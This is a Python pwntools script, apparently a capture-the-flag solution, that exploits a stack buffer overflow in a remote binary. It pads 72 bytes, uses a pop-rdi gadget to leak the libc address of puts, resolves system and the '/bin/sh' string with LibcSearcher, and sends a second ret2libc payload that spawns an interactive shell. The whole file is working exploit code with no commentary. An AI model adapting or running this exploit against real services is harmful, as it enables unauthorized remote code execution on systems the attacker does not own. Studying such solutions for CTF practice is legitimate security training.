from LibcSearcher import *
from pwn import *

context(os="linux",arch="amd64",log_level="debug")

#io=remote("192.168.95.131",10001)
io=remote("111.200.241.244",56577)
bee_elf = ELF("./bee9f73f50d2487e911da791273ae5a3")

pause()

pop_rdi_ret = 0x400763
main_addr   = 0x4006B8
puts_got_addr = bee_elf.got["puts"]
puts_plt_addr = bee_elf.plt["puts"]


payload = flat(b"A"*72,pop_rdi_ret,puts_got_addr,puts_plt_addr,main_addr)

need_length = 200 - len(payload)

payload = flat(payload,b"A"*need_length)

pause()

io.send(payload)

pause()

io.recvuntil(b"bye~\n")

real_puts_addr = io.recv()
real_puts_addr = real_puts_addr.replace(b"\n",b"")
real_puts_addr = real_puts_addr.ljust(8,b"\0")
real_puts_addr = u64(real_puts_addr)
print(hex(real_puts_addr))

obj = LibcSearcher("puts", real_puts_addr)
offset_system_addr = obj.dump("system")
offset_bin_sh_addr = obj.dump("str_bin_sh")
offset_puts_addr   = obj.dump("puts")
print("system_offset = " + hex(offset_system_addr))
print("binsh_offset  = " + hex(offset_bin_sh_addr))

libc_base_addr     = real_puts_addr - offset_puts_addr
real_system_addr   = libc_base_addr + offset_system_addr
real_binsh_addr    = libc_base_addr + offset_bin_sh_addr


payload = flat(b"A"*72,pop_rdi_ret,real_binsh_addr,real_system_addr,main_addr)

need_length = 200 - len(payload)

payload = flat(payload,b"A"*need_length)

pause()

io.send(payload)
io.recv()
io.interactive()



